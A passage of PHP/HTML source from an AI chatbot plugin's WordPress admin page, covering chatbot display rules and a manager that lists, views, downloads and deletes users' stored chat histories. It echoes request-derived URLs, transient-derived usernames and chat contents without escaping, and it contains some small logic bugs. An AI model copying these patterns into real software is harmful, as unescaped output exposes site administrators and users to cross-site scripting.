$chuniqid;?>only_show_urls" onchange="anyNewChatChanged();" placeholder="URL list, each on a new line"></textarea> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the hour period of each day, when you want to show the chatbot embedded on your site. Your current server time is: ", 'aiomatic-automatic-ai-content-writer') . date("h:i A"); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Between Specific Hours Each Day:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="time" id="<?php echo $chuniqid;?>min_time" onchange="anyNewChatChanged();" value="" placeholder="Show the Chatbot Only After This Hour"> - <input type="time" id="<?php echo $chuniqid;?>max_time" onchange="anyNewChatChanged();" value="" placeholder="Show the Chatbot Only Before This Hour"> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the days of the week, when you want to always show the chatbot (regardless of the above hour limitations).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Days When To Always Show The Chatbot:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple id="<?php echo $chuniqid;?>always_show" onchange="anyNewChatChanged();" class="cr_width_full"> <?php echo '<option value="Monday">Monday</option>'; echo '<option value="Tuesday">Tuesday</option>'; echo '<option value="Wednesday">Wednesday</option>'; echo '<option value="Thursday">Thursday</option>'; echo '<option value="Friday">Friday</option>'; echo '<option value="Saturday">Saturday</option>'; echo '<option value="Sunday">Sunday</option>'; ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the days of the week, when you want to never show the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Days When To Never Show The Chatbot:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>never_show" class="cr_width_full"> <?php echo '<option value="Monday">Monday</option>'; echo '<option value="Tuesday">Tuesday</option>'; echo '<option value="Wednesday">Wednesday</option>'; echo '<option value="Thursday">Thursday</option>'; echo '<option value="Friday">Friday</option>'; echo '<option value="Saturday">Saturday</option>'; echo '<option value="Sunday">Sunday</option>'; ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the WordPress content where to not show the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot On This WordPress Content:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>no_show_content_wp" class="resize_vertical cr_width_full"> <?php $selected = []; echo aiomatic_get_wordpress_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the WordPress content only where to show the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only On This WordPress Content:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>show_content_wp" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_wordpress_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the languages for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These Languages:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>no_show_locales" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_locales_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the languages for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These Languages:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>show_locales" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_locales_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the user roles for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These User Roles:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>no_show_roles" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_user_roles_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the user roles for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These User Roles:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>show_roles" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_user_roles_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the devices for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These Devices:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>no_show_devices" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_devices_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the devices for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These Devices:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>show_devices" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_devices_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the Operating Systems for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These Operating Systems:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>no_show_oses" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_oses_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the Operating Systems for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These Operating Systems:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>show_oses" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_oses_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the Browsers for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These Browsers:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>no_show_browsers" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_browsers_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the Browsers for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These Browsers:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select multiple onchange="anyNewChatChanged();" id="<?php echo $chuniqid;?>show_browsers" class="resize_vertical cr_width_full"> <?php echo aiomatic_get_browsers_content($selected); ?> </select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the IP Addresses for which the chatbot will not be shown. List of IP addresses or IP ranges. Examples: 46.33.233.31, 46.0-46.1", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Show The Chatbot For These IP Addresses:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div><textarea rows="2" id="<?php echo $chuniqid;?>no_show_ips" onchange="anyNewChatChanged();" placeholder="<?php echo esc_html__("IP Addresses / Ranges", 'aiomatic-automatic-ai-content-writer');?>"></textarea> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the IP Addresses for only which the chatbot will be shown. List of IP addresses or IP ranges. Examples: 46.33.233.31, 46.0-46.1", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Show The Chatbot Only For These IP Addresses:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div><textarea rows="2" id="<?php echo $chuniqid;?>show_ips" onchange="anyNewChatChanged();" placeholder="<?php echo esc_html__("IP Addresses / Ranges", 'aiomatic-automatic-ai-content-writer');?>"></textarea> </div> </td></tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline"><?php echo esc_html__("Aiomatic Global Chatbots", 'aiomatic-automatic-ai-content-writer');?></h3> <span id="aiomatic_chat_ok" class="codeokfzr cr_inline" onclick="document.getElementById('mymodalchatfzr').style.display = 'none';">OK </span> <br/><br/> </div> </div> </div> </div> <div class="cr_center"><span class="cr_gray20">X</span></div> </div> </div> <hr/> <p class="crsubmit"><input type="submit" name="btnSubmitkw" id="btnSubmitkw" class="button button-primary" onclick="unsaved = false;localStorage.setItem('scrollpos', window.scrollY);" value="<?php echo esc_html__("Save Additional Chatbot Injection Rules", 'aiomatic-automatic-ai-content-writer');?>"/></p> </td></tr></table> </td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("Tutorial Videos:", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/iE9LUaHDFNE" frameborder="0" allowfullscreen></iframe></div></p> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/qoRX4SIGXjA" frameborder="0" allowfullscreen></iframe></div></p> </td></tr> </table> </div> <div id="tab-6" class="tab-content"> <br/> <table class="widefat"> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the persistent chat mode. Chats will be saved in the database and can be viewed from the 'Limits and Statistics' menu of the plugin. If you want to enable the Vector Database persistent chat functionality, you need to add your API key for a Vector Database Service in the plugin's 'Settings' menu. Also, you need to enable embeddings for the chatbot, from the 'Settings' menu -> 'Embeddings' tab -> 'Enable Embeddings For' -> check the 'Chatbot Shortcodes' checkbox -> save settings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Persistent Chat:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="persistent" name="aiomatic_Chatbot_Settings[persistent]" class="cr_width_full" onchange="aiomatic_persistent_changed();"> <?php echo '<option' . ($persistent == 'off' ? ' selected': '') . ' value="off">' . esc_html__("Off", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($persistent == 'on' ? ' selected': '') . ' value="on">' . esc_html__("On (Local Storage)", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($persistent == 'logs' ? ' selected': '') . ' value="logs">' . esc_html__("On (Local Storage), Only Save Chat Logs", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option' . ($persistent == 'vector' ? ' selected': '') . ' value="vector"'; if($pinecone_app_id == '' && $qdrant_app_id == '') { echo ' disabled title="You need to set up a Pinecone or a Qdrant API keys in plugin settings for this to work"'; } echo '>' . esc_html__("On (Vector Database Storage), Auto Create Embeddings From User Messages", 'aiomatic-automatic-ai-content-writer') . '</option>'; ?> </select> </td> </tr> <tr class="hidePersistent"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable the persistent chat mode also for not logged in users.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Persistent Chat Also For Not Logged In Users:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="persistent_guests" name="aiomatic_Chatbot_Settings[persistent_guests]" class="cr_width_full"> <?php echo '<option' . ($persistent_guests == 'off' ? ' selected': '') . ' value="off">Off</option>'; echo '<option' . ($persistent_guests == 'on' ? ' selected': '') . ' value="on">On</option>'; ?> </select> </td> </tr> </table> <br/> <?php $current_page = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if ( isset( $_GET['action'] ) && isset( $_GET['user_id'] ) && wp_verify_nonce( $_GET['_wpnonce'], 'user_meta_manager_' . $_GET['action'] . '_' . $_GET['user_id'] ) ) { $user_id = urldecode($_GET['user_id']); $action = urldecode( $_GET['action'] ); if(isset($_GET['conv_id'])) { $conv_id = urldecode($_GET['conv_id']); } else { $conv_id = ''; } if ( $action == 'delete_meta' ) { if(is_numeric($user_id) && $user_id > 0) { if($assistant_id != '') { delete_user_meta( $user_id, 'aiomatic_assistant_history_thread' ); } else { delete_user_meta( $user_id, 'aiomatic_chat_history' . $conv_id ); } } else { if($assistant_id != '') { delete_transient('aiomatic_assistant_history_thread_' . $user_id); } else { delete_transient('aiomatic_chat_history_' . $conv_id . '_' . $user_id); } } $xcurrent_page = preg_replace('#&user_id=([^&]*)#', '', $current_page); echo "<script>location.href='" . $xcurrent_page . "';</script>"; } elseif ( $action == 'delete_all_meta' ) { $paged = 1; $users_per_page = 20; $users = array(); do { $users_query = new WP_User_Query( array( 'meta_query' => array( array( 'key' => 'aiomatic_chat_history', 'compare_key' => 'LIKE' ) ), 'number' => $users_per_page, 'paged' => $paged, ) ); $paged++; $rezuser = $users_query->get_results(); $users = array_merge($rezuser, $users); } while(!empty($rezuser)); $transi_count = 0; if($assistant_id != '') { $all_transients = aiomatic_get_transients_by_regex('aiomatic_assistant_history_thread_.+', PHP_INT_MAX, $transi_count); } else { $all_transients = aiomatic_get_transients_by_regex('aiomatic_chat_history_.+', PHP_INT_MAX, $transi_count); } foreach ( $users as $user ) { $user_id = $user->ID; $all_meta = get_user_meta($user_id, '', true); $my_meta = array_filter($all_meta, function($key){ return strpos($key, 'aiomatic_chat_history') === 0; }, ARRAY_FILTER_USE_KEY); foreach($my_meta as $key => $zmeta) { $pref = explode('aiomatic_chat_history', $key); if(isset($pref[1])) { delete_user_meta($user_id, $key); } } } foreach ( $all_transients as $transient_name => $transient_value ) { if($assistant_id != '') { preg_match_all('#aiomatic_assistant_history_thread_([\s\S]+)#i', $transient_name, $trmatches); if(isset($trmatches[2][0])) { $user_id = $trmatches[2][0]; $conv_id = $trmatches[1][0]; delete_transient('aiomatic_assistant_history_thread_' . $user_id); } } else { preg_match_all('#aiomatic_chat_history_([^_]+)_([\s\S]+)#i', $transient_name, $trmatches); if(isset($trmatches[2][0])) { $user_id = $trmatches[2][0]; $conv_id = $trmatches[1][0]; delete_transient('aiomatic_chat_history_' . $conv_id . '_' . $user_id); } } } $zcurrent_page = preg_replace('#&action=delete_all_meta#', '', $current_page); $zcurrent_page = preg_replace('#&conv_id=([^&]*?)&#', '&', $zcurrent_page); echo '<a href="' . $zcurrent_page . '" class="button">' . esc_html__('Back to List', 'aiomatic-automatic-ai-content-writer') . '</a>'; } } $paged = 1; if ( isset( $_GET['paged'] ) ) { $paged = intval( $_GET['paged'] ); } $users_per_page = 20; if ( isset( $_GET['users_per_page'] ) ) { $users_per_page = intval( $_GET['users_per_page'] ); if($users_per_page <= 0) { $users_per_page = 20; } } if($assistant_id != '') { $users_query = new WP_User_Query( array( 'meta_query' => array( array( 'key' => 'aiomatic_assistant_history_thread', 'compare_key' => 'LIKE' ) ), 'number' => $users_per_page, 'paged' => $paged, ) ); } else { $users_query = new WP_User_Query( array( 'meta_query' => array( array( 'key' => 'aiomatic_chat_history', 'compare_key' => 'LIKE' ) ), 'number' => $users_per_page, 'paged' => $paged, ) ); } $transi_count = 0; if($assistant_id != '') { $all_transients = aiomatic_get_transients_by_regex('aiomatic_assistant_history_thread_.+', PHP_INT_MAX, $transi_count); } else { $all_transients = aiomatic_get_transients_by_regex('aiomatic_chat_history_.+', PHP_INT_MAX, $transi_count); } $total_users = $users_query->get_total(); $total_items = $total_users + $transi_count; $total_pages = ceil( ($total_users + $transi_count) / $users_per_page ); $users = $users_query->get_results(); echo '<div class="wrap">'; echo '<h1>' . esc_html__('User Conversation Manager', 'aiomatic-automatic-ai-content-writer') . '</h1>'; echo '<table class="wp-list-table widefat fixed striped users">'; echo '<thead>'; echo '<tr>'; echo '<th scope="col" id="username" class="manage-column column-username column-primary">Username/IP</th>'; echo '<th scope="col" id="username" class="manage-column column-username column-primary">Chat ID</th>'; echo '<th scope="col" id="email" class="manage-column column-email">Email</th>'; echo '<th scope="col" id="actions" class="manage-column column-actions">Actions</th>'; echo '</tr>'; echo '</thead>'; echo '<tbody id="the-list">'; if(count($users) == 0 && count($all_transients) == 0) { echo '</tbody></table><br/><br/>' . esc_html__('No persistent chat messages found. You can enable this feature if you use the following shortcode to add a persistent AI chat to your page: [aiomatic-chat-form persistent="on"]', 'aiomatic-automatic-ai-content-writer') . '</div>'; } else { $displayed = 0; $users = aiomatic_array_unique($users); foreach ( $users as $user ) { $displayed++; $user_id = $user->ID; $username = $user->user_login; $email = $user->user_email; if($assistant_id != '') { $zmeta = get_user_meta($user_id, 'aiomatic_assistant_history_thread', true); if(!empty($zmeta)) { echo '<tr>'; echo '<td class="username column-username has-row-actions column-primary" data-colname="Username">' . esc_html( $username ) . '</td>'; echo '<td class="chatid column-chatid" data-colname="ChatID">' . $zmeta . '</td>'; echo '<td class="email column-email" data-colname="Email">' . esc_html( $email ) . '</td>'; echo '<td class="actions column-actions" data-colname="Actions">'; echo '<a href="' . add_query_arg( array( 'action' => 'view_meta', 'user_id' => $user_id, 'conv_id' => $zmeta, '_wpnonce' => wp_create_nonce( 'user_meta_manager_view_meta_' . $user_id ) ), $current_page ) . '">View</a> | '; echo '<a href="' . add_query_arg( array( 'action' => 'download_meta', 'user_id' => $user_id, 'conv_id' => $zmeta, '_wpnonce' => wp_create_nonce( 'user_meta_manager_download_meta_' . $user_id ) ), $current_page ) . '">Download</a> | '; echo '<a href="' . add_query_arg( array( 'action' => 'delete_meta', 'user_id' => $user_id, 'conv_id' => $zmeta, '_wpnonce' => wp_create_nonce( 'user_meta_manager_delete_meta_' . $user_id ) ), $current_page ) . '">Delete</a>'; echo '</td>'; echo '</tr>'; } } else { $all_meta = get_user_meta($user_id, '', true); $my_meta = array_filter($all_meta, function($key){ return strpos($key, 'aiomatic_chat_history') === 0; }, ARRAY_FILTER_USE_KEY); foreach($my_meta as $key => $zmeta) { $pref = explode('aiomatic_chat_history', $key); if(isset($pref[1])) { echo '<tr>'; echo '<td class="username column-username has-row-actions column-primary" data-colname="Username">' . esc_html( $username ) . '</td>'; echo '<td class="chatid column-chatid" data-colname="ChatID">' . $pref[1] . '</td>'; echo '<td class="email column-email" data-colname="Email">' . esc_html( $email ) . '</td>'; echo '<td class="actions column-actions" data-colname="Actions">'; echo '<a href="' . add_query_arg( array( 'action' => 'view_meta', 'user_id' => $user_id, 'conv_id' => $pref[1], '_wpnonce' => wp_create_nonce( 'user_meta_manager_view_meta_' . $user_id ) ), $current_page ) . '">View</a> | '; echo '<a href="' . add_query_arg( array( 'action' => 'download_meta', 'user_id' => $user_id, 'conv_id' => $pref[1], '_wpnonce' => wp_create_nonce( 'user_meta_manager_download_meta_' . $user_id ) ), $current_page ) . '">Download</a> | '; echo '<a href="' . add_query_arg( array( 'action' => 'delete_meta', 'user_id' => $user_id, 'conv_id' => $pref[1], '_wpnonce' => wp_create_nonce( 'user_meta_manager_delete_meta_' . $user_id ) ), $current_page ) . '">Delete</a>'; echo '</td>'; echo '</tr>'; } } } } if($displayed < $users_per_page) { $skip_cnt = 0; if(count($users) == 0) { $skip_cnt = $users_per_page * ($paged - 1); $skip_cnt = $skip_cnt - $total_users; } $skipped = 0; foreach ( $all_transients as $transient_name => $transient_value ) { if($skip_cnt > 0) { if($skipped < $skip_cnt) { $skipped++; continue; } } if($assistant_id != '') { preg_match_all('#aiomatic_assistant_history_thread_([\s\S]+)#i', $transient_name, $trmatches); if(isset($trmatches[1][0])) { $displayed++; $user_id = $trmatches[1][0]; $username = $trmatches[1][0]; $email = '-'; echo '<tr>'; echo '<td class="username column-username has-row-actions column-primary" data-colname="Username">' . $username . '</td>'; echo '<td class="chatid column-chatid" data-colname="ChatID">' . $transient_value . '</td>'; echo '<td class="email column-email" data-colname="Email">' . esc_html( $email ) . '</td>'; echo '<td class="actions column-actions" data-colname="Actions">'; echo '<a href="' . add_query_arg( array( 'action' => 'view_meta', 'user_id' => urlencode($user_id), 'conv_id' => urlencode($transient_value), '_wpnonce' => wp_create_nonce( 'user_meta_manager_view_meta_' . $user_id ) ), $current_page ) . '">View</a> | '; echo '<a href="' . add_query_arg( array( 'action' => 'download_meta', 'user_id' => urlencode($user_id), 'conv_id' => urlencode($transient_value), '_wpnonce' => wp_create_nonce( 'user_meta_manager_download_meta_' . $user_id ) ), $current_page ) . '">Download</a> | '; echo '<a href="' . add_query_arg( array( 'action' => 'delete_meta', 'user_id' => urlencode($user_id), 'conv_id' => urlencode($transient_value), '_wpnonce' => wp_create_nonce( 'user_meta_manager_delete_meta_' . $user_id ) ), $current_page ) . '">Delete</a>'; echo '</td>'; echo '</tr>'; if($displayed >= $users_per_page) { break; } } } else { preg_match_all('#aiomatic_chat_history_([^_]+)_([\s\S]+)#i', $transient_name, $trmatches); if(isset($trmatches[2][0])) { $displayed++; $user_id = $trmatches[2][0]; $username = $trmatches[2][0]; $chatid = $trmatches[1][0]; $email = '-'; echo '<tr>'; echo '<td class="username column-username has-row-actions column-primary" data-colname="Username">' . $username . '</td>'; echo '<td class="chatid column-chatid" data-colname="ChatID">' . esc_html($chatid) . '</td>'; echo '<td class="email column-email" data-colname="Email">' . esc_html( $email ) . '</td>'; echo '<td class="actions column-actions" data-colname="Actions">'; echo '<a href="' . add_query_arg( array( 'action' => 'view_meta', 'user_id' => urlencode($user_id), 'conv_id' => urlencode($chatid), '_wpnonce' => wp_create_nonce( 'user_meta_manager_view_meta_' . $user_id ) ), $current_page ) . '">View</a> | '; echo '<a href="' . add_query_arg( array( 'action' => 'download_meta', 'user_id' => urlencode($user_id), 'conv_id' => urlencode($chatid), '_wpnonce' => wp_create_nonce( 'user_meta_manager_download_meta_' . $user_id ) ), $current_page ) . '">Download</a> | '; echo '<a href="' . add_query_arg( array( 'action' => 'delete_meta', 'user_id' => urlencode($user_id), 'conv_id' => urlencode($chatid), '_wpnonce' => wp_create_nonce( 'user_meta_manager_delete_meta_' . $user_id ) ), $current_page ) . '">Delete</a>'; echo '</td>'; echo '</tr>'; if($displayed >= $users_per_page) { break; } } } } } echo '</tbody>'; echo '</table>'; echo '<div class="tablenav bottom">'; echo '<div class="tablenav-pages">'; echo '<span class="displaying-num">' . $total_items . ' items (' . $total_users . '/' . $transi_count . ')</span>'; echo '<span class="pagination-links">'; if($paged > 1) { echo '<a href="' . add_query_arg( array( 'paged' => $paged - 1 ), $current_page ) . '">' . esc_html__('Prev', 'aiomatic-automatic-ai-content-writer') . '</a> '; } for ( $i = 1; $i <= $total_pages; $i++ ) { $class = ( $i == $paged ) ? ' current' : ''; echo '<a class="' . $class . '" href="' . add_query_arg( array( 'paged' => $i ), $current_page ) . '">' . $i . '</a> '; } if($paged < $total_pages) { echo '<a href="' . add_query_arg( array( 'paged' => $paged + 1 ), $current_page ) . '">' . esc_html__('Next', 'aiomatic-automatic-ai-content-writer') . '</a> '; } echo '</span>'; echo '</div>'; echo '</div>'; if($displayed > 0) { echo '<a href="' . add_query_arg( array( 'action' => 'download_all_meta', 'user_id' => urlencode($user_id), 'conv_id' => 'all', '_wpnonce' => wp_create_nonce( 'user_meta_manager_download_all_meta_' . $user_id ) ), $current_page ) . '" class="button">' . esc_html__('Download All Conversations', 'aiomatic-automatic-ai-content-writer') . '</a>'; echo '   '; echo '<a href="' . add_query_arg( array( 'action' => 'delete_all_meta', 'user_id' => urlencode($user_id), 'conv_id' => 'all', '_wpnonce' => wp_create_nonce( 'user_meta_manager_delete_all_meta_' . $user_id ) ), $current_page ) . '" class="button">' . esc_html__('Delete All Conversations', 'aiomatic-automatic-ai-content-writer') . '</a>'; } echo '</div>'; if ( isset( $_GET['action'] ) && isset( $_GET['user_id'] ) && wp_verify_nonce( $_GET['_wpnonce'], 'user_meta_manager_' . $_GET['action'] . '_' . $_GET['user_id'] ) ) { $user_id = urldecode( $_GET['user_id'] ); $action = urldecode( $_GET['action'] ); $conv_id = urldecode( $_GET['conv_id'] ); if ( $action == 'delete_meta' ) { echo '<div class="notice notice-success is-dismissible">'; echo '<p>' . esc_html__('User conversation data has been deleted.', 'aiomatic-automatic-ai-content-writer') . '</p>'; echo '</div>'; } elseif ( $action == 'view_meta' ) { if(is_numeric($user_id)) { if($assistant_id != '') { $thread_id = get_user_meta($user_id, 'aiomatic_assistant_history_thread', true); if(!empty($thread_id)) { try { if(!aiomatic_is_aiomaticapi_key($token) && (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure')) { $conv_meta = ''; require_once (dirname(__FILE__) . "/aiomatic-assistants-api.php"); $old_messages = aiomatic_openai_list_messages($token, $thread_id, 100, 'asc'); if(isset($old_messages['data']) && is_array($old_messages['data'])) { foreach($old_messages['data'] as $om) { if(isset($om['content'][0]['text']['value'])) { if($om['role'] == 'user') { $conv_meta .= '<div class="ai-wrapper">'; if($bubble_user_alignment != 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $conv_meta .= '<div class="ai-bubble ai-mine">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_user_alignment == 'right' && !empty($avatar_url_user) && $show_user_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-mine"></div>'; } $conv_meta .= '</div>'; } elseif($om['role'] == 'assistant') { $conv_meta .= '<div class="ai-wrapper">'; if($bubble_alignment != 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $conv_meta .= '<div class="ai-bubble ai-other">' . $om['content'][0]['text']['value'] . '</div>'; if($bubble_alignment == 'right' && !empty($avatar_url) && $show_ai_avatar == 'show') { $return_me .= '<div class="ai-avatar ai-other"></div>'; } $conv_meta .= '</div>'; } } } } } } catch(Exception $e) { $conv_meta = ''; } } else { $conv_meta = ''; } } else { $conv_meta = get_user_meta($user_id, 'aiomatic_chat_history' . $conv_id, true); } } else { if($assistant_id != '') { $thread_id = get_transient('aiomatic_assistant_history_thread_' . $user_id); if(!empty($thread_id)) { try { if(!aiomatic_is_aiomaticapi_key($token) && (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure')) { $conv_meta = ''; require_once (dirname(__FILE__) . "/aiomatic-assistants-api.php"); $old_messages = aiomatic_openai_list_messages($token, $thread_id, 100, 'asc'); if(isset($old_messages['data']) && is_array($old_messages['data'])) { foreach($old_messages['data'] as $om) { if(isset($om['content'][0]['text']['value'])) { if($om['role'] == 'user') { $conv_meta .= 